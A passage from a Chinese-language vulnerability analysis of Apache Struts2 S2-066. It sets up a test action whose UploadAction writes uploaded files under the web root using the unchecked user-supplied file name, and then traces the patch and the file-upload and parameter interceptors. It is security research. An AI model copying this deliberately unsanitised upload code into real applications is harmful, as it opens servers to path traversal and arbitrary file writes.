<h2 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 1.5em;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;padding-bottom: 0.3em;border-bottom: 1px solid var(--borderColor-muted, var(--color-border-muted));color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>一、环境搭建</h2><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">直接在showcase的基础上搭建</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">src/main/resources/struts-fileupload.xml添加如下：</p><pre lang="plain" style="box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;margin-top: 0px;margin-bottom: 0px;overflow-wrap: normal;padding: 16px;overflow: auto;line-height: 1.45;color: var(--fgColor-default, var(--color-fg-default));background-color: var(--bgColor-muted, var(--color-canvas-subtle));border-radius: 6px;"><code style="white-space: pre-wrap;box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;padding: 0px;margin: 0px;background: transparent;border-radius: 6px;word-break: normal;border-width: 0px;border-style: none;border-color: currentcolor;display: inline;overflow: visible;line-height: inherit;overflow-wrap: normal;">&lt;!--       s2-066 test--&gt;<br/>       &lt;action name=&#34;upload11&#34; class=&#34;org.apache.struts2.showcase.fileupload.UploadAction&#34;<br/>             method=&#34;doUpload&#34;&gt;<br/>          &lt;result name=&#34;success&#34; type=&#34;&#34;&gt;//WEB-INF/fileupload/skay.jsp&lt;/result&gt;<br/>       &lt;/action&gt;<br/></code></pre><p><svg aria-hidden="true" height="16" viewBox="0 0 16 16" width="16" data-view-component="true"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">自定义uploadAction实现文件上传逻辑 org.apache.struts2.showcase.fileupload.UploadAction 这里直接放y4tacker的demo</p><pre lang="plain" style="box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;margin-top: 0px;margin-bottom: 0px;overflow-wrap: normal;padding: 16px;overflow: auto;line-height: 1.45;color: var(--fgColor-default, var(--color-fg-default));background-color: var(--bgColor-muted, var(--color-canvas-subtle));border-radius: 6px;"><code style="white-space: pre-wrap;box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;padding: 0px;margin: 0px;background: transparent;border-radius: 6px;word-break: normal;border-width: 0px;border-style: none;border-color: currentcolor;display: inline;overflow: visible;line-height: inherit;overflow-wrap: normal;">package org.apache.struts2.showcase.fileupload;<br/>import com.opensymphony.xwork2.ActionSupport;<br/>import org.apache.commons.io.FileUtils;<br/>import org.apache.struts2.ServletActionContext;<br/>import java.io.*;<br/>public class UploadAction extends ActionSupport {<br/>    private static final long serialVersionUID = 1L;<br/>    private File upload;<br/>    // ⽂件类型，为name属性值 + ContentType<br/>    private String uploadContentType;<br/>    // ⽂件名称，为name属性值 + FileName<br/>    private String uploadFileName;<br/>    public File getUpload() {<br/>        return upload;<br/>    }<br/>    public void setUpload(File upload) {<br/>        this.upload = upload;<br/>    }<br/>    public String getUploadContentType() {<br/>        return uploadContentType;<br/>    }<br/>    public void setUploadContentType(String uploadContentType) {<br/>        this.uploadContentType = uploadContentType;<br/>    }<br/>    public String getUploadFileName() {<br/>        return uploadFileName;<br/>    }<br/>    public void setUploadFileName(String uploadFileName) {<br/>        this.uploadFileName = uploadFileName;<br/>    }<br/>    public String doUpload() {<br/>        String path =<br/>                ServletActionContext.getServletContext().getRealPath(&#34;/&#34;)+&#34;upload&#34;;<br/>        String realPath = path + File.separator +uploadFileName;<br/>        try {<br/>            FileUtils.copyFile(upload, new File(realPath));<br/>        } catch (Exception e) {<br/>            e.printStackTrace();<br/>        }<br/>        return SUCCESS;<br/>    }<br/>}<br/></code></pre><p><svg aria-hidden="true" height="16" viewBox="0 0 16 16" width="16" data-view-component="true"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">上传测试demo <img class="rich_pages wxw-img" data-imgfileid="100003164" data-ratio="0.49722222222222223" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6353e886&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibvLpcNLVCicKefsckHKRIBdylo2ucmbVOEdMgxibC7tAaHl1JhO249pBIMqicGWeA9tzyyGjIOYJsWA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 1.5em;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;padding-bottom: 0.3em;border-bottom: 1px solid var(--borderColor-muted, var(--color-border-muted));color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>二、漏洞分析</h2><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">先来compare一下看看更改了什么</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://github.com/apache/struts/compare/STRUTS_6_3_0...STRUTS_6_3_0_2" target="_blank">https://github.com/apache/struts/compare/STRUTS_6_3_0...STRUTS_6_3_0_2</a></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">除了版本号以外只有core/src/main/java/org/apache/struts2/dispatcher/HttpParameters.java 做了更改以及测试文件，添加了大小写的检查</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img class="rich_pages wxw-img" data-imgfileid="100003160" data-ratio="0.7601851851851852" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=937ebc11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibvLpcNLVCicKefsckHKRIBdViceGz1LeweIpI22VloApt81PHgRjhSj8KzwFgiabjgSkagNDyEGR8HA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">有点懵逼，让我们跟着y4tacker的脚步来学习，Struts 框架默认加入了很多拦截器，定义在 struts-default.xml 中。使用的是递归调用，因为在 Interceptor 中为了实现分别在 action 之前和之后执行代码，会调用 ActionInvocation.invoke()，即 intercept() 的第一个参数，用于调用下一个拦截器或者是 Action。</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">debug中获取到了文件上传操作中这些拦截器：</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img class="rich_pages wxw-img" data-imgfileid="100003162" data-ratio="0.40185185185185185" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=72dbfd1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibvLpcNLVCicKefsckHKRIBdbYRyIgEMpDTNtNzAXSPzb0HRd4BG99RGdYCsKxn2jZdhvprollEhAw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">此漏洞主要涉及FileUploadInterceptor以及 ParametersInterceptor两个拦截器</p><h3 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 1.25em;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>1.FileUploadInterceptor</h3><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">从顺序来看，首先走到的是FileUploadInterceptor，在这里通过 String[] fileName = multiWrapper.getFileNames(inputName); 获取到filename并存储到 ActionContext.HttpParameters当中，这里的文件名获取做了严格的校验,</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">org.apache.struts2.dispatcher.multipart.AbstractMultiPartRequest#getCanonicalName</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img class="rich_pages wxw-img" data-imgfileid="100003161" data-ratio="0.35555555555555557" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4754d659&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibvLpcNLVCicKefsckHKRIBde7uoMPAWSblx54vXl0cF9bXaLdXtrl65yxAyLyEtmOzp7Bic3JhkYLA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">当走完FileUploadInterceptor时，可以看到当前的参数表是这样的</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img class="rich_pages wxw-img" data-imgfileid="100003163" data-ratio="0.5509259259259259" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9a28002c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibvLpcNLVCicKefsckHKRIBdAJX69Sia4BdvRqloicHgExMSFCvRvrqzwqmayyMibXIDhwNdcz0iaIguBg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 1.25em;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>2.ParametersInterceptor</h3><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">接下来看ParametersInterceptor ，</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">复习一下：ParametersInterceptor ，其继承自 MethodFilterInterceptor，最终会调用到下述 doIntercept 方法:</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept</p><p dir="auto" 